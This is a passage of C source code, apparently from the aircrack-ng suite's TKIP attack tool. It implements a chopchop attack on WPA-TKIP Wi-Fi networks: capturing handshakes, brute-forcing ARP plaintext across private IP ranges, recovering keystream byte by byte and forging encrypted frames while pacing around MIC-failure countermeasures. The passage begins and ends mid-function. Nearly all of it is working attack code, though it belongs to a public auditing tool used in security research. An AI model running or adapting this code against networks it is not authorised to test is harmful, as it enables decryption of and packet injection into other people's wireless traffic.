chopped_from_plain; /* chopped plaintext packet from the AP */
unsigned char * chopped_to_plain; /* chopped plaintext packet to the AP */
unsigned char * chopped_from_prga; /* chopped keystream from the AP */
unsigned char * chopped_to_prga; /* chopped keystream to the AP */
int chopped_from_plain_len;
int chopped_to_plain_len;
int chopped_from_prga_len;
int chopped_to_prga_len;
struct timeval last_mic_failure; /* timestamp of last mic failure */
int mic_failure_interval; /* time between allowed mic failures */
} lopt;
// unused, but needed for link
struct devices dev;
extern struct wif *_wi_in, *_wi_out;
struct ARP_req
{
unsigned char * buf;
int hdrlen;
int len;
};
struct APt
{
unsigned char set;
unsigned char found;
unsigned char len;
unsigned char essid[255];
unsigned char bssid[6];
unsigned char chan;
unsigned int ping[REQUESTS];
int pwr[REQUESTS];
};
unsigned long nb_pkt_sent;
extern unsigned char h80211[4096];
static unsigned char srcbuf[4096];
static char strbuf[512];
static int alarmed;
static int check_received(unsigned char * packet, unsigned length)
{
REQUIRE(packet != NULL);
unsigned z;
unsigned char bssid[6], smac[6], dmac[6];
struct ivs2_pkthdr ivs2;
z = ((packet[1] & 3) != 3) ? 24 : 30;
if (length < z) return (0);
/* Check if 802.11e (QoS) */
if ((packet[0] & 0x80) == 0x80) z += 2;
switch (packet[1] & 3)
{
case 0:
memcpy(bssid, packet + 16, 6);
memcpy(dmac, packet + 4, 6);
memcpy(smac, packet + 10, 6);
break;
case 1:
memcpy(bssid, packet + 4, 6);
memcpy(dmac, packet + 16, 6);
memcpy(smac, packet + 10, 6);
break;
case 2:
memcpy(bssid, packet + 10, 6);
memcpy(dmac, packet + 4, 6);
memcpy(smac, packet + 16, 6);
break;
default:
memcpy(bssid, packet + 10, 6);
memcpy(dmac, packet + 16, 6);
memcpy(smac, packet + 24, 6);
break;
}
if (memcmp(bssid, opt.f_bssid, 6) != 0)
{
return (0);
}
else
{
if (memcmp(dmac, lopt.wpa.stmac, 6) != 0
&& memcmp(smac, lopt.wpa.stmac, 6) != 0)
return (0);
}
if (z + 26 > length) return (0);
if (!(packet[1] & 0x40)) // not encrypted
{
z += 6; // skip LLC header
/* check ethertype == EAPOL */
if (packet[z] == 0x88 && packet[z + 1] == 0x8E
&& (packet[1] & 0x40) != 0x40)
{
if (lopt.wpa.state != 7 || time(NULL) - lopt.wpa_time > 1)
{
z += 2; // skip ethertype
/* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */
if ((packet[z + 6] & 0x08) != 0 && (packet[z + 6] & 0x40) == 0
&& (packet[z + 6] & 0x80) != 0
&& (packet[z + 5] & 0x01) == 0)
{
memcpy(lopt.wpa.anonce, &packet[z + 17], 32);
lopt.wpa.state = 1;
}
/* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1
*/
if (z + 17 + 32 > length) return (0);
if ((packet[z + 6] & 0x08) != 0 && (packet[z + 6] & 0x40) == 0
&& (packet[z + 6] & 0x80) == 0
&& (packet[z + 5] & 0x01) != 0)
{
if (memcmp(&packet[z + 17], ZERO, 32) != 0)
{
memcpy(lopt.wpa.snonce, &packet[z + 17], 32);
lopt.wpa.state |= 2;
}
if ((lopt.wpa.state & 4) != 4)
{
lopt.wpa.eapol_size
= (packet[z + 2] << 8) + packet[z + 3] + 4;
if (lopt.wpa.eapol_size > sizeof(lopt.wpa.eapol)
|| length - z < lopt.wpa.eapol_size)
{
// ignore packet trying to crash us
lopt.wpa.eapol_size = 0;
return (0);
}
memcpy(lopt.wpa.keymic, &packet[z + 81], 16);
memcpy(lopt.wpa.eapol, &packet[z], lopt.wpa.eapol_size);
memset(lopt.wpa.eapol + 81, 0, 16);
lopt.wpa.state |= 4;
lopt.wpa.keyver = packet[z + 6] & 7;
}
}
/* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */
if ((packet[z + 6] & 0x08) != 0 && (packet[z + 6] & 0x40) != 0
&& (packet[z + 6] & 0x80) != 0
&& (packet[z + 5] & 0x01) != 0)
{
if (memcmp(&packet[z + 17], ZERO, 32) != 0)
{
memcpy(lopt.wpa.anonce, &packet[z + 17], 32);
lopt.wpa.state |= 1;
}
if ((lopt.wpa.state & 4) != 4)
{
lopt.wpa.eapol_size
= (packet[z + 2] << 8) + packet[z + 3] + 4;
if (lopt.wpa.eapol_size > sizeof(lopt.wpa.eapol)
|| length - z < lopt.wpa.eapol_size)
{
// ignore packet trying to crash us
lopt.wpa.eapol_size = 0;
return (0);
}
memcpy(lopt.wpa.keymic, &packet[z + 81], 16);
memcpy(lopt.wpa.eapol, &packet[z], lopt.wpa.eapol_size);
memset(lopt.wpa.eapol + 81, 0, 16);
lopt.wpa.state |= 4;
lopt.wpa.keyver = packet[z + 6] & 7;
}
}
if (lopt.wpa.state == 7)
{
memcpy(lopt.wpa.stmac, opt.r_smac, 6);
PCT;
printf("WPA handshake: %02X:%02X:%02X:%02X:%02X:%02X "
"captured\n",
opt.r_bssid[0],
opt.r_bssid[1],
opt.r_bssid[2],
opt.r_bssid[3],
opt.r_bssid[4],
opt.r_bssid[5]);
lopt.wpa_time = time(NULL);
if (lopt.f_ivs != NULL)
{
memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
ivs2.flags = 0;
ivs2.len = 0;
ivs2.flags |= IVS2_WPA;
ivs2.flags |= IVS2_BSSID;
ivs2.len += 6;
if (fwrite(&ivs2,
1,
sizeof(struct ivs2_pkthdr),
lopt.f_ivs)
!= (size_t) sizeof(struct ivs2_pkthdr))
{
perror("fwrite(IV header) failed");
return (1);
}
if (fwrite(opt.r_bssid, 1, 6, lopt.f_ivs) != (size_t) 6)
{
perror("fwrite(IV bssid) failed");
return (1);
}
ivs2.len -= 6;
if (fwrite(&(lopt.wpa),
1,
sizeof(struct WPA_hdsk),
lopt.f_ivs)
!= (size_t) sizeof(struct WPA_hdsk))
{
perror("fwrite(IV wpa_hdsk) failed");
return (1);
}
}
}
}
}
}
return (0);
}
static void my_read_sleep_cb(void)
{
int caplen = read_packet(_wi_in, h80211, sizeof(h80211), NULL);
check_received(h80211, caplen);
}
static int build_arp_request(unsigned char * packet, int * length, int toDS)
{
REQUIRE(packet != NULL);
int i;
unsigned char buf[128];
packet[0] = 0x88; // QoS Data
if (toDS)
packet[1] = 0x41; // encrypted to/fromDS
else
packet[1] = 0x42;
packet[2] = 0x2c;
packet[3] = 0x00;
if (toDS)
{
memcpy(packet + 4, opt.f_bssid, 6);
memcpy(packet + 10, opt.r_smac, 6);
memcpy(packet + 16, lopt.r_apmac, 6);
}
else
{
memcpy(packet + 4, opt.r_smac, 6);
memcpy(packet + 10, opt.f_bssid, 6);
memcpy(packet + 16, lopt.r_apmac, 6);
}
packet[22] = 0xD0; // fragment 0
packet[23] = 0xB4;
if (toDS)
packet[24] = 0x01; // priority 1
else
packet[24] = 0x02; // priority 2
packet[25] = 0x00;
if (toDS)
set_clear_arp(packet + 26, opt.r_smac, BROADCAST);
else
set_clear_arp(packet + 26, lopt.r_apmac, BROADCAST);
if (toDS)
memcpy(packet + 26 + 22, lopt.ip_cli, 4);
else
memcpy(packet + 26 + 22, lopt.ip_ap, 4);
memcpy(packet + 26 + 26, BROADCAST, 6);
if (toDS)
memcpy(packet + 26 + 32, lopt.ip_ap, 4);
else
memcpy(packet + 26 + 32, lopt.ip_cli, 4);
INVARIANT(*length < (INT_MAX - 26 - 36 - 1));
*length = 26 + 36;
calc_tkip_mic(packet, *length, lopt.ptk, packet + (*length));
INVARIANT(*length < (INT_MAX - 8 - 1));
*length += 8;
memcpy(buf, packet + 26, (*length) - 26);
memcpy(packet + 26 + 8, buf, (*length) - 26); //-V512
if (toDS)
memcpy(packet + 26,
lopt.chopped_to_prga,
8); // set IV&extIV for a toDS frame
else
memcpy(packet + 26,
lopt.chopped_from_prga,
8); // set IV&extIV for a fromDS frame
INVARIANT(*length < (INT_MAX - 8 - 1));
(*length) += 8;
add_icv(packet, *length, 26 + 8);
(*length) += 4;
if (toDS)
{
if (lopt.chopped_to_prga_len < *length - 26) return (1);
for (i = 0; i < *length - 26 - 8; i++)
packet[26 + 8 + i] ^= lopt.chopped_to_prga[8 + i];
}
else
{
if (lopt.chopped_from_prga_len < *length - 26) return (1);
INVARIANT(*length < (INT_MAX - 26 - 8 - 1));
for (i = 0; i < *length - 26 - 8; i++)
packet[26 + 8 + i] ^= lopt.chopped_from_prga[8 + i];
}
return (0);
}
static int check_guess(unsigned char * srcbuf,
unsigned char * chopped,
int caplen,
int clearlen,
unsigned char * arp,
unsigned char * dmac)
{
REQUIRE(srcbuf != NULL);
REQUIRE(chopped != NULL);
REQUIRE(arp != NULL);
int i, j, z, pos;
z = ((srcbuf[1] & 3) != 3) ? 24 : 30;
if ((srcbuf[0] & 0x80) == 0x80) /* QoS */
z += 2;
pos = caplen - z - 8 - clearlen;
for (i = 0; i < clearlen; i++)
{
arp[pos + i] = srcbuf[z + 8 + pos + i] ^ chopped[z + 8 + pos + i];
}
for (j = 1; j < 3; j++)
{
arp[15] = j;
memcpy(arp + 26, ZERO, 6); //-V512
if (check_crc_buf(arp, caplen - z - 8 - 4) == 1)
{
for (i = 0; i < pos; i++)
{
chopped[z + 8 + i] = srcbuf[z + 8 + i] ^ arp[i];
}
return (1);
}
memcpy(arp + 26, BROADCAST, 6);
if (check_crc_buf(arp, caplen - z - 8 - 4) == 1)
{
for (i = 0; i < pos; i++)
{
chopped[z + 8 + i] = srcbuf[z + 8 + i] ^ arp[i];
}
return (1);
}
memcpy(arp + 26, dmac, 6);
if (check_crc_buf(arp, caplen - z - 8 - 4) == 1)
{
for (i = 0; i < pos; i++)
{
chopped[z + 8 + i] = srcbuf[z + 8 + i] ^ arp[i];
}
return (1);
}
}
return (0);
}
static int guess_packet(unsigned char * srcbuf,
unsigned char * chopped,
int caplen,
int clearlen)
{
REQUIRE(srcbuf != NULL);
REQUIRE(chopped != NULL);
int i, j, k, l, z, len;
unsigned char smac[6], dmac[6], bssid[6];
unsigned char *ptr, *psip, *pdmac, *pdip;
unsigned char arp[4096];
z = ((srcbuf[1] & 3) != 3) ? 24 : 30;
if ((srcbuf[0] & 0x80) == 0x80) /* QoS */
z += 2;
if (caplen - z - 8 - clearlen > 36) // too many unknown bytes
return (1);
printf("%i bytes still unknown\n", caplen - z - 8 - clearlen);
switch (srcbuf[1] & 3)
{
case 0:
memcpy(bssid, srcbuf + 16, 6);
memcpy(dmac, srcbuf + 4, 6);
memcpy(smac, srcbuf + 10, 6);
break;
case 1:
memcpy(bssid, srcbuf + 4, 6);
memcpy(dmac, srcbuf + 16, 6);
memcpy(smac, srcbuf + 10, 6);
break;
case 2:
memcpy(bssid, srcbuf + 10, 6);
memcpy(dmac, srcbuf + 4, 6);
memcpy(smac, srcbuf + 16, 6);
break;
default:
memcpy(bssid, srcbuf + 10, 6);
memcpy(dmac, srcbuf + 16, 6);
memcpy(smac, srcbuf + 24, 6);
break;
}
ptr = arp;
pdmac = arp + 26;
psip = arp + 22;
pdip = arp + 32;
len = sizeof(S_LLC_SNAP_ARP) - 1;
memcpy(ptr, S_LLC_SNAP_ARP, len);
ptr += len;
/* arp hdr */
len = 6;
memcpy(ptr, "\x00\x01\x08\x00\x06\x04", len);
ptr += len;
/* type of arp */
len = 2;
if (memcmp(dmac, "\xff\xff\xff\xff\xff\xff", 6) == 0)
memcpy(ptr, "\x00\x01", len);
else
memcpy(ptr, "\x00\x02", len);
ptr += len;
/* src mac */
len = 6;
memcpy(ptr, smac, len);
ptr += len;
/* dmac */
if (memcmp(dmac, "\xff\xff\xff\xff\xff\xff", 6) != 0)
{
printf("ARP Reply\n");
memcpy(pdmac, dmac, 6);
}
else
{
printf("ARP Request\n");
memcpy(pdmac, ZERO, 6); //-V512
}
if (caplen - z - 8 - clearlen == 36)
{
printf("Checking 192.168.x.y\n");
/* check 192.168.i.1-254 */
for (i = 0; i < 256; i++)
{
for (j = 1; j < 255; j++)
{
for (k = 1; k < 255; k++)
{
psip[0] = 192;
psip[1] = 168;
psip[2] = i;
psip[3] = j;
pdip[0] = 192;
pdip[1] = 168;
pdip[2] = i;
pdip[3] = k;
if (check_guess(srcbuf,
chopped,
caplen,
clearlen,
arp,
dmac)) // got correct guess
return (0);
}
}
}
printf("Checking 10.0.y.z\n");
/* check 10.i.j.1-254 */
for (j = 0; j < 256; j++)
{
for (k = 1; k < 255; k++)
{
for (l = 1; l < 255; l++)
{
psip[0] = 10;
psip[1] = 0;
psip[2] = j;
psip[3] = k;
pdip[0] = 10;
pdip[1] = 0;
pdip[2] = j;
pdip[3] = l;
if (check_guess(srcbuf,
chopped,
caplen,
clearlen,
arp,
dmac)) // got correct guess
return (0);
}
}
}
printf("Checking 172.16.y.z\n");
/* check 172.16-31.j.1-254 */
for (j = 1; j < 255; j++)
{
for (k = 1; k < 255; k++)
{
for (l = 1; l < 255; l++)
{
psip[0] = 172;
psip[1] = 16;
psip[2] = j;
psip[3] = k;
pdip[0] = 172;
pdip[1] = 16;
pdip[2] = j;
pdip[3] = l;
if (check_guess(srcbuf,
chopped,
caplen,
clearlen,
arp,
dmac)) // got correct guess
return (0);
}
}
}
}
if (caplen - z - 8 - clearlen == 35)
{
printf("Checking 192.168.x.y\n");
/* check 192.168.i.1-254 */
for (i = 0; i < 256; i++)
{
for (j = 1; j < 255; j++)
{
psip[0] = 192;
psip[1] = 168;
psip[2] = i;
psip[3] = j;
pdip[0] = 192;
pdip[1] = 168;
pdip[2] = i;
if (check_guess(srcbuf,
chopped,
caplen,
clearlen,
arp,
dmac)) // got correct guess
return (0);
}
}
printf("Checking 10.0.y.z\n");
/* check 10.i.j.1-254 */
for (i = 0; i < 256; i++)
{
for (j = 0; j < 256; j++)
{
for (k = 1; k < 255; k++)
{
psip[0] = 10;
psip[1] = i;
psip[2] = j;
psip[3] = k;
pdip[0] = 10;
pdip[1] = i;
pdip[2] = j;
if (check_guess(srcbuf,
chopped,
caplen,
clearlen,
arp,
dmac)) // got correct guess
return (0);
}
}
}
printf("Checking 172.16-31.y.z\n");
/* check 172.16-31.j.1-254 */
for (i = 16; i < 32; i++)
{
for (j = 0; j < 256; j++)
{
for (k = 1; k < 255; k++)
{
psip[0] = 172;
psip[1] = i;
psip[2] = j;
psip[3] = k;
pdip[0] = 172;
pdip[1] = i;
pdip[2] = j;
if (check_guess(srcbuf,
chopped,
caplen,
clearlen,
arp,
dmac)) // got correct guess
return (0);
}
}
}
}
if (caplen - z - 8 - clearlen == 34)
{
printf("Checking 192.168.x.y\n");
/* check 192.168.i.1-254 */
for (i = 0; i < 256; i++)
{
for (j = 1; j < 255; j++)
{
psip[0] = 192;
psip[1] = 168;
psip[2] = i;
psip[3] = j;
pdip[0] = 192;
pdip[1] = 168;
if (check_guess(srcbuf,
chopped,
caplen,
clearlen,
arp,
dmac)) // got correct guess
return (0);
}
}
printf("Checking 10.x.y.z\n");
/* check 10.i.j.1-254 */
for (i = 0; i < 256; i++)
{
for (j = 0; j < 256; j++)
{
for (k = 1; k < 255; k++)
{
psip[0] = 10;
psip[1] = i;
psip[2] = j;
psip[3] = k;
pdip[0] = 10;
pdip[1] = i;
if (check_guess(srcbuf,
chopped,
caplen,
clearlen,
arp,
dmac)) // got correct guess
return (0);
}
}
}
printf("Checking 172.16-31.y.z\n");
/* check 172.16-31.j.1-254 */
for (i = 16; i < 32; i++)
{
for (j = 0; j < 256; j++)
{
for (k = 1; k < 255; k++)
{
psip[0] = 172;
psip[1] = i;
psip[2] = j;
psip[3] = k;
pdip[0] = 172;
pdip[1] = i;
if (check_guess(srcbuf,
chopped,
caplen,
clearlen,
arp,
dmac)) // got correct guess
return (0);
}
}
}
}
if (caplen - z - 8 - clearlen <= 33 && caplen - z - 8 - clearlen >= 26)
{
printf("Checking 192.168.x.y\n");
/* check 192.168.i.1-254 */
if ((srcbuf[z + 8 + 33] ^ chopped[z + 8 + 33]) == 168)
{
for (i = 0; i < 256; i++)
{
for (j = 1; j < 255; j++)
{
psip[0] = 192;
psip[1] = 168;
psip[2] = i;
psip[3] = j;
pdip[0] = 192;
if (check_guess(srcbuf,
chopped,
caplen,
clearlen,
arp,
dmac)) // got correct guess
return (0);
}
}
}
if ((srcbuf[z + 8 + 33] ^ chopped[z + 8 + 33]) >= 16
&& (srcbuf[z + 8 + 33] ^ chopped[z + 8 + 33]) < 32)
{
printf("Checking 172.16-31.y.z\n");
/* check 172.16-31.j.1-254 */
for (i = 16; i < 32; i++)
{
for (j = 0; j < 256; j++)
{
for (k = 1; k < 255; k++)
{
psip[0] = 172;
psip[1] = i;
psip[2] = j;
psip[3] = k;
pdip[0] = 172;
if (check_guess(srcbuf,
chopped,
caplen,
clearlen,
arp,
dmac)) // got correct guess
return (0);
}
}
}
}
printf("Checking 10.x.y.z\n");
/* check 10.i.j.1-254 */
for (i = 0; i < 256; i++)
{
for (j = 0; j < 256; j++)
{
for (k = 1; k < 255; k++)
{
psip[0] = 10;
psip[1] = i;
psip[2] = j;
psip[3] = k;
pdip[0] = 10;
if (check_guess(srcbuf,
chopped,
caplen,
clearlen,
arp,
dmac)) // got correct guess
return (0);
}
}
}
}
if (caplen - z - 8 - clearlen == 25)
{
printf("Checking 192.168.x.y\n");
/* check 192.168.i.1-254 */
if ((srcbuf[z + 8 + 32] ^ chopped[z + 8 + 32]) == 192
&& (srcbuf[z + 8 + 33] ^ chopped[z + 8 + 33]) == 168)
{
for (i = 0; i < 256; i++)
{
psip[0] = 192;
psip[1] = 168;
psip[2] = i;
if (check_guess(srcbuf,
chopped,
caplen,
clearlen,
arp,
dmac)) // got correct guess
return (0);
}
}
if ((srcbuf[z + 8 + 32] ^ chopped[z + 8 + 32]) == 172
&& (srcbuf[z + 8 + 33] ^ chopped[z + 8 + 33]) >= 16
&& (srcbuf[z + 8 + 33] ^ chopped[z + 8 + 33]) < 32)
{
printf("Checking 172.16-31.y.z\n");
/* check 172.16-31.j.1-254 */
for (i = 16; i < 32; i++)
{
for (j = 0; j < 256; j++)
{
psip[0] = 172;
psip[1] = i;
psip[2] = j;
if (check_guess(srcbuf,
chopped,
caplen,
clearlen,
arp,
dmac)) // got correct guess
return (0);
}
}
}
printf("Checking 10.x.y.z\n");
/* check 10.i.j.1-254 */
for (i = 0; i < 256; i++)
{
for (j = 0; j < 256; j++)
{
psip[0] = 10;
psip[1] = i;
psip[2] = j;
if (check_guess(srcbuf,
chopped,
caplen,
clearlen,
arp,
dmac)) // got correct guess
return (0);
}
}
}
if (caplen - z - 8 - clearlen == 24)
{
printf("Checking 192.168.x.y\n");
/* check 192.168.i.1-254 */
if ((srcbuf[z + 8 + 32] ^ chopped[z + 8 + 32]) == 192
&& (srcbuf[z + 8 + 33] ^ chopped[z + 8 + 33]) == 168)
{
psip[0] = 192;
psip[1] = 168;
if (check_guess(srcbuf,
chopped,
caplen,
clearlen,
arp,
dmac)) // got correct guess
return (0);
}
if ((srcbuf[z + 8 + 32] ^ chopped[z + 8 + 32]) == 172
&& (srcbuf[z + 8 + 33] ^ chopped[z + 8 + 33]) >= 16
&& (srcbuf[z + 8 + 33] ^ chopped[z + 8 + 33]) < 32)
{
printf("Checking 172.16-31.y.z\n");
/* check 172.16-31.j.1-254 */
for (i = 16; i < 32; i++)
{
psip[0] = 172;
psip[1] = i;
if (check_guess(srcbuf,
chopped,
caplen,
clearlen,
arp,
dmac)) // got correct guess
return (0);
}
}
printf("Checking 10.x.y.z\n");
/* check 10.i.j.1-254 */
for (i = 0; i < 256; i++)
{
psip[0] = 10;
psip[1] = i;
if (check_guess(srcbuf,
chopped,
caplen,
clearlen,
arp,
dmac)) // got correct guess
return (0);
}
}
if (caplen - z - 8 - clearlen <= 23)
{
printf("Checking 192.168.x.y\n");
/* check 192.168.i.1-254 */
if ((srcbuf[z + 8 + 32] ^ chopped[z + 8 + 32]) == 192
&& (srcbuf[z + 8 + 33] ^ chopped[z + 8 + 33]) == 168)
{
psip[0] = 192;
if (check_guess(srcbuf,
chopped,
caplen,
clearlen,
arp,
dmac)) // got correct guess
return (0);
}
if ((srcbuf[z + 8 + 32] ^ chopped[z + 8 + 32]) == 172
&& (srcbuf[z + 8 + 33] ^ chopped[z + 8 + 33]) >= 16
&& (srcbuf[z + 8 + 33] ^ chopped[z + 8 + 33]) < 32)
{
printf("Checking 172.16-31.y.z\n");
/* check 172.16-31.j.1-254 */
psip[0] = 172;
if (check_guess(srcbuf,
chopped,
caplen,
clearlen,
arp,
dmac)) // got correct guess
return (0);
}
printf("Checking 10.x.y.z\n");
/* check 10.i.j.1-254 */
psip[0] = 10; //-V519
if (check_guess(srcbuf,
chopped,
caplen,
clearlen,
arp,
dmac)) // got correct guess
return (0);
}
if (caplen - z - 8 - clearlen <= 32)
{
for (i = 0; i < 256; i++)
{
for (j = 1; j < 255; j++)
{
psip[0] = srcbuf[z + 8 + 32] ^ chopped[z + 8 + 32];
psip[1] = srcbuf[z + 8 + 33] ^ chopped[z + 8 + 33];
psip[2] = i;
psip[3] = j;
if (check_guess(srcbuf,
chopped,
caplen,
clearlen,
arp,
dmac)) // got correct guess
return (0);
}
}
}
return (1);
}
static int do_attack_tkipchop(unsigned char * src_packet, int src_packet_len)
{
REQUIRE(src_packet != NULL);
float f, ticks[4];
int i, j, n, z, caplen, srclen;
int data_start, data_end;
int guess, is_deauth_mode;
int nb_bad_pkt;
int tried_header_rec = 0;
int tries = 0;
int keystream_len = 0;
int settle = 0;
unsigned char b1 = 0xAA;
unsigned char b2 = 0xAA;
unsigned char mic[8];
unsigned char smac[6], dmac[6], bssid[6];
unsigned char rc4key[16], keystream[4096];
FILE * f_cap_out;
//long nb_pkt_read;
unsigned long crc_mask;
unsigned char * chopped;
unsigned char packet[4096];
time_t tt;
struct tm * lt;
struct timeval tv;
struct timeval tv2;
struct timeval mic_fail;
struct pcap_file_header pfh_out;
struct pcap_pkthdr pkh;
rand_init();
memcpy(h80211, src_packet, src_packet_len);
caplen = src_packet_len;
if ((h80211[1] & 3) == 1)
{
h80211[1] += 1;
memcpy(bssid, srcbuf + 4, 6);
memcpy(dmac, srcbuf + 16, 6);
memcpy(smac, srcbuf + 10, 6);
memcpy(srcbuf + 10, bssid, 6);
memcpy(srcbuf + 4, dmac, 6);
memcpy(srcbuf + 16, smac, 6);
}
z = ((h80211[1] & 3) != 3) ? 24 : 30;
if ((h80211[0] & 0x80) == 0x80) /* QoS */
z += 2;
if ((unsigned) caplen > sizeof(srcbuf)
|| (unsigned) caplen > sizeof(h80211))
return (1);
/* Special handling for spanning-tree packets */
if (memcmp(h80211 + 4, SPANTREE, 6) == 0
|| memcmp(h80211 + 16, SPANTREE, 6) == 0)
{
b1 = 0x42;
b2 = 0x42;
}
printf("\n");
/* chopchop operation mode: truncate and decrypt the packet */
/* we assume the plaintext starts with AA AA 03 00 00 00 */
/* (42 42 03 00 00 00 for spanning-tree packets) */
memcpy(srcbuf, h80211, caplen);
/* debug: generate the keystream */
if (lopt.got_ptk)
{
calc_tkip_ppk(srcbuf, caplen, lopt.wpa_sta.ptk + 32, rc4key);
PCT;
printf("Per Packet Key: ");
for (i = 0; i < 15; i++) printf("%02X:", rc4key[i]);
printf("%02X\n", rc4key[15]);
memset(keystream, 0, 4096);
keystream_len = caplen - z - 8;
encrypt_wep(keystream, keystream_len, rc4key, 16);
PCT;
printf("Keystream length: %i, Keystream:\n", keystream_len);
for (i = 0; i < keystream_len - 1; i++) printf("%02X:", keystream[i]);
printf("%02X\n", keystream[keystream_len - 1]);
memcpy(packet, srcbuf, caplen);
PCT;
printf("Decrypt: %i\n",
decrypt_wep(packet + z + 8, caplen - z - 8, rc4key, 16));
PCT;
printf("Keystream 2:\n");
for (i = 0; i < keystream_len - 1; i++)
printf("%02X:", packet[z + 8 + i] ^ srcbuf[z + 8 + i]);
printf("%02X\n",
packet[z + 8 + keystream_len - 1]
^ srcbuf[z + 8 + keystream_len - 1]);
lopt.oldkeystreamlen = keystream_len - 37;
for (i = 0; i < lopt.oldkeystreamlen; i++)
lopt.oldkeystream[i] = keystream[keystream_len - 1 - i];
}
/* setup the chopping buffer */
n = caplen;
switch (srcbuf[1] & 3)
{
case 0:
memcpy(bssid, srcbuf + 16, 6);
memcpy(dmac, srcbuf + 4, 6);
memcpy(smac, srcbuf + 10, 6);
break;
case 1:
memcpy(bssid, srcbuf + 4, 6);
memcpy(dmac, srcbuf + 16, 6);
memcpy(smac, srcbuf + 10, 6);
break;
case 2:
memcpy(bssid, srcbuf + 10, 6);
memcpy(dmac, srcbuf + 4, 6);
memcpy(smac, srcbuf + 16, 6);
break;
default:
memcpy(bssid, srcbuf + 10, 6);
memcpy(dmac, srcbuf + 16, 6);
memcpy(smac, srcbuf + 24, 6);
break;
}
if ((chopped = (unsigned char *) malloc(n)) == NULL)
{
perror("malloc failed");
return (1);
}
memset(chopped, 0, n);
memcpy(chopped, h80211, n);
data_start = 26 + 8;
srclen = data_end = n;
chopped[24] ^= 0x01;
chopped[25] = 0x00;
/* setup the xor mask to hide the original data */
crc_mask = 0;
for (i = data_start; i < data_end - 4; i++)
{
switch (i - data_start)
{
case 0:
chopped[i] = b1 ^ 0xE0;
break;
case 1:
chopped[i] = b2 ^ 0xE0;
break;
case 2:
chopped[i] = 0x03 ^ 0x03;
break;
default:
chopped[i] = 0x55 ^ (i & 0xFF);
break;
}
crc_mask = crc_tbl[crc_mask & 0xFF] ^ (crc_mask >> 8UL)
^ ((unsigned long) chopped[i] << 24UL);
}
for (i = 0; i < 4; i++)
crc_mask = crc_tbl[crc_mask & 0xFF] ^ (crc_mask >> 8UL);
chopped[data_end - 4] = crc_mask;
crc_mask >>= 8;
chopped[data_end - 3] = crc_mask;
crc_mask >>= 8;
chopped[data_end - 2] = crc_mask;
crc_mask >>= 8;
chopped[data_end - 1] = crc_mask;
crc_mask >>= 8;
for (i = data_start; i < data_end; i++) chopped[i] ^= srcbuf[i];
data_start += 6; /* skip the SNAP header */
is_deauth_mode = 0;
/* chop down old/known keystreambytes */
for (i = 0; i < lopt.oldkeystreamlen; i++)
{
guess = (lopt.oldkeystream[i] ^ chopped[data_end - 1]) % 256;
n = caplen - data_start;
chopped[data_end - 1] ^= guess;
chopped[data_end - 2] ^= crc_chop_tbl[guess][3];
chopped[data_end - 3] ^= crc_chop_tbl[guess][2];
chopped[data_end - 4] ^= crc_chop_tbl[guess][1];
chopped[data_end - 5] ^= crc_chop_tbl[guess][0];
printf("\rOffset %4d (%2d%% done) | xor = %02X | pt = %02X\n",
data_end - 1,
100 * (caplen - data_end) / n,
chopped[data_end - 1],
chopped[data_end - 1] ^ srcbuf[data_end - 1]);
data_end--;
}
/* let's go chopping */
memset(ticks, 0, sizeof(ticks));
//nb_pkt_read = 0;
nb_pkt_sent = 0;
nb_bad_pkt = 0;
guess = 256;
tt = time(NULL);
if (opt.port_in <= 0)
{
if (fcntl(dev.fd_in, F_SETFL, O_NONBLOCK) < 0)
{
perror("fcntl(O_NONBLOCK) failed");
free(chopped);
return (1);
}
}
while (data_end > data_start)
{
if (alarmed)
{
printf("\n\n"
"The chopchop attack appears to have failed. Possible "
"reasons:\n"
"\n"
" * You're trying to inject with an unsupported chipset "
"(Centrino?).\n"
" * The driver source wasn't properly patched for "
"injection support.\n"
" * You are too far from the AP. Get closer or reduce "
"the send rate.\n"
" * Target is 802.11g only but you are using a Prism2 or "
"RTL8180.\n"
" * The wireless interface isn't setup on the correct "
"channel.\n");
if (is_deauth_mode) //-V547
printf(" * The AP isn't vulnerable when operating in "
"non-authenticated mode.\n"
" Run aireplay-ng in authenticated mode instead "
"(-h option).\n\n");
else
printf(" * The client MAC you have specified is not "
"currently authenticated.\n"
" Try running another aireplay-ng to fake "
"authentication (attack \"-1\").\n"
" * The AP isn't vulnerable when operating in "
"authenticated mode.\n"
" Try aireplay-ng in non-authenticated mode "
"instead (no -h option).\n\n");
free(chopped);
return (1);
}
/* wait for the next timer interrupt, or sleep */
if ((nb_pkt_sent > 0) && (nb_pkt_sent % 256 == 0) && settle == 0)
{
printf("\rLooks like mic failure report was not detected."
"Waiting %i seconds before trying again to avoid "
"the AP shutting down.\n",
lopt.mic_failure_interval);
fflush(stdout);
settle = 1;
sleep(lopt.mic_failure_interval);
}
if (dev.fd_rtc >= 0)
{
if (read(dev.fd_rtc, &n, sizeof(n)) < 0)
{
perror("\nread(/dev/rtc) failed");
free(chopped);
return (1);
}
ticks[0]++; /* ticks since we entered the while loop */
ticks[1]++; /* ticks since the last status line update */
ticks[2]++; /* ticks since the last frame was sent */
ticks[3]++; /* ticks since started chopping current byte */
}
else
{
/* we can't trust usleep, since it depends on the HZ */
gettimeofday(&tv, NULL);
usleep(976);
gettimeofday(&tv2, NULL);
f = 1000000 * (float) (tv2.tv_sec - tv.tv_sec)
+ (float) (tv2.tv_usec - tv.tv_usec);
ticks[0] += f / 976;
ticks[1] += f / 976;
ticks[2] += f / 976;
ticks[3] += f / 976;
}
/* update the status line */
if (ticks[1] > ((float) RTC_RESOLUTION / 10.f))
{
ticks[1] = 0;
printf("\rSent %3lu packets, current guess: %02X...",
nb_pkt_sent,
guess);
fflush(stdout);
erase_line(0);
}
if (data_end < 47 && tries > 512)
{
header_rec:
printf("\n\nThe AP appears to drop packets shorter "
"than %d bytes.\n",
data_end);
data_end = 46;
z = ((h80211[1] & 3) != 3) ? 24 : 30;
if ((h80211[0] & 0x80) == 0x80) /* QoS */
z += 2;
if ((chopped[data_end + 0] ^ srcbuf[data_end + 0]) == 0x06
&& (chopped[data_end + 1] ^ srcbuf[data_end + 1]) == 0x04
&& (chopped[data_end + 2] ^ srcbuf[data_end + 2]) == 0x00)
{
printf("Enabling standard workaround: "
"ARP header re-creation.\n");
chopped[26 + 8 + 6] = srcbuf[26 + 8 + 6] ^ 0x08; //-V525
